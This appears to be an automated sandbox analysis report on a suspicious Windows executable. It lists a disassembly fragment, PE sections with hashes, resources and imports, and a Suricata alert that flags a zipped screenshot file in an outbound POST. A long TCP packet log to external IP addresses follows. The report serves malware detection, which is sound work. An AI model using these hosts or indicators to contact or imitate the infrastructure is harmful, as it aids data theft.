mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004A2EBCh
call 00007FDB4D0A83A5h
xor eax, eax
push ebp
push 004A8AC1h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004A8A7Bh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004B0634h]
call 00007FDB4D139D2Bh
call 00007FDB4D13987Eh
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007FDB4D134558h
mov edx, dword ptr [ebp-14h]
mov eax, 004B41F4h
call 00007FDB4D0A2453h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004B41F4h]
mov dl, 01h
mov eax, dword ptr [0049CD14h]
call 00007FDB4D135883h
mov dword ptr [004B41F8h], eax
xor edx, edx
push ebp
push 004A8A27h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007FDB4D139DB3h
mov dword ptr [004B4200h], eax
mov eax, dword ptr [004B4200h]
cmp dword ptr [eax+0Ch], 01h
jne 00007FDB4D140A9Ah
mov eax, dword ptr [004B4200h]
mov edx, 00000028h
call 00007FDB4D136178h
mov edx, dword ptr [004B4200h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xb7000	0x71	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb5000	0xfec	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcb000	0x11000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xba000	0x10fa8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb9000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb52d4	0x25c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xb6000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa568c	0xa5800	b889d302f6fc48a904de33d8d947ae80	False	0.3620185045317221	data	6.377190161826806	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xa7000	0x1b64	0x1c00	588dd0a8ab499300d3701cbd11b017d9	False	0.548828125	data	6.109264411030635	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xa9000	0x3838	0x3a00	5c0c76e77aef52ebc6702430837ccb6e	False	0.35338092672413796	data	4.95916338709992	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xad000	0x7258	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xb5000	0xfec	0x1000	627340dff539ef99048969aa4824fb2d	False	0.380615234375	data	5.020404933181373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xb6000	0x1a4	0x200	fd11c1109737963cc6cb7258063abfd6	False	0.34765625	data	2.729290535217263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xb7000	0x71	0x200	7de8ca0c7a61668a728fd3a88dc0942d	False	0.1796875	data	1.305578535725827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xb8000	0x18	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xb9000	0x5d	0x200	d84006640084dc9f74a07c2ff9c7d656	False	0.189453125	data	1.3892750148744617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xba000	0x10fa8	0x11000	a85fda2741bd9417695daa5fc5a9d7a5	False	0.5789579503676471	data	6.709466460182023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xcb000	0x11000	0x11000	6f3c77fe1f5bb1306d64a400654b63be	False	0.18744255514705882	data	3.7183829162228728	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xcb678	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2048	English	United States	0.1174924924924925
RT_ICON	0xcc0e0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.15792682926829268
RT_ICON	0xcc748	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.23387096774193547
RT_ICON	0xcca30	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.39864864864864863
RT_ICON	0xccb58	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colors	English	United States	0.08339210155148095
RT_ICON	0xce180	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.1023454157782516
RT_ICON	0xcf028	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.10649819494584838
RT_ICON	0xcf8d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.10838150289017341
RT_ICON	0xcfe38	0x12e5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8712011577424024
RT_ICON	0xd1120	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.05668398677373642
RT_ICON	0xd5348	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08475103734439834
RT_ICON	0xd78f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.09920262664165103
RT_ICON	0xd8998	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2047872340425532
RT_STRING	0xd8e00	0x3f8	data			0.3198818897637795
RT_STRING	0xd91f8	0x2dc	data			0.36475409836065575
RT_STRING	0xd94d4	0x430	data			0.40578358208955223
RT_STRING	0xd9904	0x44c	data			0.38636363636363635
RT_STRING	0xd9d50	0x2d4	data			0.39226519337016574
RT_STRING	0xda024	0xb8	data			0.6467391304347826
RT_STRING	0xda0dc	0x9c	data			0.6410256410256411
RT_STRING	0xda178	0x374	data			0.4230769230769231
RT_STRING	0xda4ec	0x398	data			0.3358695652173913
RT_STRING	0xda884	0x368	data			0.3795871559633027
RT_STRING	0xdabec	0x2a4	data			0.4275147928994083
RT_RCDATA	0xdae90	0x10	data			1.5
RT_RCDATA	0xdaea0	0x310	data			0.6173469387755102
RT_RCDATA	0xdb1b0	0x2c	data			1.2045454545454546
RT_GROUP_ICON	0xdb1dc	0xbc	data	English	United States	0.6170212765957447
RT_VERSION	0xdb298	0x584	data	English	United States	0.2613314447592068
RT_MANIFEST	0xdb81c	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, CloseHandle, LocalFree, SizeofResource, VirtualProtect, QueryPerformanceFrequency, VirtualFree, GetFullPathNameW, GetProcessHeap, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVolumeInformationW, GetVersion, GetDriveTypeW, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, EqualSid, RegQueryValueExW, GetTokenInformation, ConvertSidToStringSidW, RegCloseKey

Exports

Name	Ordinal	Address
__dbk_fcall_wrapper	2	0x40fc10
dbkFCallWrapperAddr	1	0x4b063c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-04T15:12:52.595755+0100	2843856	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2	1	192.168.2.10	49841	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 15:12:22.646780014 CET	49780	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:22.766763926 CET	80	49780	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:22.766869068 CET	49780	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:22.767199993 CET	49780	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:22.886933088 CET	80	49780	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:24.004633904 CET	80	49780	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:24.047060013 CET	49780	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:24.394474030 CET	49780	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:24.514533043 CET	80	49780	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:24.514632940 CET	49780	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:26.753360033 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:26.873106956 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:26.873334885 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:26.887080908 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:27.006822109 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.119632006 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.119724035 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.119738102 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.119777918 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.119812012 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.119860888 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.197740078 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.197889090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.197907925 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.197921038 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.197931051 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.197943926 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.197951078 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.197971106 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.198008060 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.240022898 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.240099907 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.240279913 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.311503887 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.311575890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.311757088 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.315623999 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.317259073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.317348003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.317383051 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.325597048 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.325917006 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.325943947 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.333965063 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.334115028 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.389406919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.389448881 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.389528036 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.393460035 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.393542051 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.393604994 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.400301933 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.400486946 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.400563002 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.408657074 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.408796072 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.408942938 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.417062044 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.417136908 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.417229891 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.425453901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.425559044 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.425657034 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.433834076 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.434135914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.434300900 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.442384005 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.442401886 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.442493916 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.450655937 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.497370005 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.537961960 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.538059950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.538357019 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.541260958 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.542609930 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.542721987 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.543059111 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.549391031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.549478054 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.549487114 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.556201935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.556216955 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.556925058 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.566932917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.566948891 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.567055941 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.569545031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.569670916 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.569753885 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.575717926 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.575773001 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.575800896 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.581629992 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.581711054 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.581726074 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.583689928 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.583781958 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.583796024 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.591677904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.591691017 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.591840982 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.594532013 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.594611883 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.594679117 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.596112967 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.596213102 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.596247911 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.600308895 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.600429058 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.600454092 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.604531050 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.604644060 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.604676008 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.608666897 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.608689070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.608901024 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.612807989 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.612883091 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.612909079 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.616940975 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.616986036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.617106915 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.621128082 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.621239901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.621264935 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.626997948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.627079010 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.627183914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.630539894 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.630556107 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.630688906 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.634633064 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.634651899 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.634984016 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.638962984 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.639041901 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.639085054 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.641938925 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.642023087 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.642035961 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.684907913 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.729825974 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.729895115 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.730211020 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.731946945 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.732533932 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.732615948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.732692003 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.736073971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.736114979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.736144066 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.739952087 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.740024090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.740053892 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.743680954 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.743808031 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.743810892 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.747226954 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.747318983 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.748531103 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.750567913 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.750649929 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.750783920 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.754046917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.754175901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.754237890 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.757280111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.757360935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.757451057 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.760445118 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.760572910 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.760600090 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.763556957 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.765995026 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.773802996 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.773893118 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.775054932 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.775163889 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.775284052 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.776526928 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.778104067 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.778182983 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.778467894 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.781069994 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.781115055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.781272888 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.783992052 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.784082890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.786842108 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.786869049 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.786986113 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.787059069 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.789685011 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.789797068 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.790034056 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.792665005 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.792785883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.792836905 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.795593977 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.795711994 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.795774937 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.798521996 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.798635960 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.799063921 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.801389933 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.801497936 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.801765919 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:28.804308891 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.804394007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:28.804634094 CET	49792	80	192.168.2.10	45.200.148.86
